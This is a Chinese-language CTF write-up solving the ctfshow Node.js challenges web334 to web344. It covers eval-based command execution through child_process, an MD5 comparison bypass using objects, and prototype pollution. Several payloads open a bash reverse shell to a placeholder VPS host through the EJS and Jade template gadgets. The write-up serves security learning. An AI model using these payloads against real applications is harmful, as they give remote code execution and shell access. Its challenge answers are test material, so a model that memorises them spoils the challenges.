web334
现在附件下载源码
//user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
用该用户名和账号登录显示失败,我们看login.js,关键代码如下
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
这里要求我们输入的name不能等于CTFSHOW,并且要求我们输入的name全部转为大写后等于CTFSHOW,密码就输入他给的就行,之后该函数返回true,在下列调用该函数时,由于值为true,便成功返回flag
web335
先查看源码发现,要求我们给get传参给eval
参考了大佬的wp,发现要给eval传参字母时,页面回显404,传参数字则会回显,因此猜测后端语句为:eval=console.log(value)
因此eval可以行js代码,我们便利用eval进行rce,这里先看点知识
具体参考:执行js系统命令的模块
利用child_process包来构造payload,这是node.js中用来执行系统命令的一个包,其中有多个方法可以用来利用
利用child_process模块执行命令
1.exec与execSync
这是child_process模块里面最简单的函数,作用就是执行一个固定的系统命令
execSync是exec的同步版本,不过无论是execSync还是exec,得到的结果都是字符串或者Buffer对象,一般需要进一步处理。
2.spawn与spawnSync
child_process模块中所有函数都是基于spawn和spawnSync函数的来实现的,换句话来说,spawn和spawnSync函数的配置是最完全的,其它函数都是对其做了封装和修改
也就是说,通过以上命令执行函数,去读取文件,直接上payload:
//execSync
?eval=require('child_process').execSync('ls') //先查看当前目录的文件
?eval=require('child_process').execSync('ls').toString();
//spawnSync
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).output; //读取该文件
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
//IIFE(立即调用函数表达式),js在遇到它之后会立即执行函数
?eval=global.process.mainModule.constructor._load('child_process').exec('ls');
如下图,我们查找fl00g.txt
web336
法一、该题把exec与load给ban了,用上题的spawnSync即可
?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')//可以看到文件源码
//该文件路径由后面的函数实现::__filename :返回当前模块文件的绝对路径
通过上述函数我们可以查到如下图的文件路径
法二、如同ssti一般绕过
require('child_process')['e'%2b'xecSync']('cat f*').toString()
法三、经过学习,发现fs模块,还有列出目录中的文件的方法。
//列出当前目录下的文件
require('fs').readdirSync('./')
payload:require('fs').readFileSync('fl001g.txt','utf-8')
web337
查看源码,发现如果a,b都存在,且a和b的长度相等,但a和b的值不相等,同时a和b都加上flag之后的md5相等,才能输出flag
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
但这里md5是强比较,不能用0e开头来绕过
看到这里我想用PHP的办法即:?a[]=1&b[]=1来绕过,虽然结果正确,但参考了wp发现
//cv yu师傅的代码
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
上述语句输出后,显然是相等的
构造如下payload:
a[x]=1&b[x]=2
b[]=1&a[]=1
注意中括号里一定不要为数字
a={'x':'1'} //数据类型为对象,并非数组
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同
但是如果传a[0]=1&b[0]=2,相当于创了个变量a=[1] b=[2],再像上面那样打印的时候,会打印出1flag{xxx}和2flag{xxx}
也就是说输入对象是两个 ”对象“ 类型时,在经过加法运算后的值是一样的(md5后也是一样的)
web338
该题以及之后都涉及到了原型链污染,那么我们先来了解一下什么是原型链污染
原型链:原型链是实现继承的主要方法。其基本思想是利用原型让一个引用类型继承另一个引用类
型的属性和方法。每个构造函数都有一个prototype属性,指向原型对象。原型对象都包含一个指向构造
函数的指针(constructor)。把构造函数的prototype属性修改成另一个构造函数的实例,此时原型对
象就将包含指向另一个原型的指针。假如另一个原型又是另一个类型的实例,那么上述关系依然成立,
如此层层递进,就构成了实例与原型的链条。这就是原型链的概念。
当然上述太费脑子,总结一下就是:
1.每个构造函数(constructor)都有一个原型对象(prototype)
2.对象的__proto__属性,指向类的原型对象prototype
3.JavaScript使用prototype链实现继承机制
//原型链:比如你现在有一个实例化的对象,你可以通过该对象指向其类的原生对象,如果可以的话,该原生对象也可以继续指向它的原生对象,以此类推,像套娃一样形成一条链子
比如我们有一个Foo类,那我们可以通过Foo.prototype来访问Foo类型原型,但Foo实例化出来的类是不能通过prototype访问的。
这时候,就该__proto__登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:
foo.__proto__ == Foo.prototype
//所以,总结一下:
//prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
//一个对象的__proto__属性,指向这个对象所在的类的prototype属性
而原型链污染的由来:foo.__proto__
指向的是Foo
类的prototype
。那么,如果我们修改了foo.__proto__
中的值,是不是就可以修改Foo类呢?
简单来说,就是当原型对象被修改时,对应的所有实例化对象都会被影响。
通过篡改原型链,使得原本不应存在的属性或方法被添加到对象中,从而对对象产生意想不到的影
响。
如何进行原型链污染:
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置__proto__
的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
对于语句:object[a][b] = value
如果可以控制a、b、value的值,将a设置为__proto__
,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
具体可参考:Node.js 常见漏洞学习与总结 - 先知社区
深入理解 JavaScript Prototype 污染攻击 | 离别歌
//login.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
//common.js
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key] //该处可改变数组的值,造成原型链污染
}
}
}
如上图当secert的ctfshow属性等于36dboy则输出flag
细细看发现secert与user属于同一个原型类的实例化对象,而copy函数(类似于常见的merge函数)对secert进行了处理,并且该函数存在原型链污染
该copy函数第一个参数是user,第二个参数是请求体就是用户输入的参数,我们直接抓包修改post(值得注意的是该包是json解析的,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”)
web339
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
这题和上一题的不同之处在于,这里比较的是ctfshow的值与flag的值,但显然我们不晓得flag是什么,因此这个点无法利用,参考大佬的wp,终究还是看不懂了
这里多了个api.js文件,但如下代码,可疑处为query
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
这里注意其中Function(query)(query)是可以执行任意js代码的,下面分析一下
Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。
而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个语句的结果。
而且res.render在渲染视图模板的时候,会生成一个响应里面有参数传给客户端,然后我们这里第二参数是query,那么他就会自动去Object寻找值并返回。
所以我们只要让Object.prototype下面的query的值为我们想要执行命令就可以了,这里我们可以通过login.js中的copy方法来执行。
这里直接借用paylaod吧..
最好用vps或者用花生壳反弹shell,flag在/app/routes/login.js中payload:post传:{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}
bp抓包传入payload
在此之前先开启监听端口
传入payload之后,可以删了payload进行post访问api即可,随后出现上面kali的连接成功的提示
ls查看文件目录,随后访问flag在/app/routes/login.js
cat得到flag
web340
与上一题相似,但需要向上污染两级,这厮因为
userinfo 的原型不是 Object 对象, userinfo.__proto__.__proto__ 才是 Object 对象
污染一级的话,user是查找不到我们构造的query的 user.query不可控
payload如下:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"')"}}}
web341
这里发现没有api.js,那么污染query参数便行不通了
参考佬的,这道题开启了ejs渲染,ejs打原型链(原理没搞懂,日后拜读)
参考:XNUCA2019 Hardjs题解 从原型链污染到RCE - 先知社区
直接用现成payload:
{"username":"a","password":"a","__proto__":{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"'); //"}}}
之后随便访问一个路由,建议多点几下send(我是这样的),这样便会成功连上,之后输入env查看环境变量,里面有flag
web342-343
又高深了,涉及到jade原型链污染:参考再探 JavaScript 原型链污染到 RCE - 先知社区
依旧日后去拜读
payload:
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}
找flag依旧是env(这里我没有登录页面,不知为何,可能是我没找到?不演示了)
web344(过滤逗号绕过)
如下图可见代码将逗号,以及逗号的url编码过滤了,因此参考佬的用 & 绕过
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
payload:
?query={"name":"admin","password":"ctfshow","isVIP":true} //本应该传入
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true} //绕过的
nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式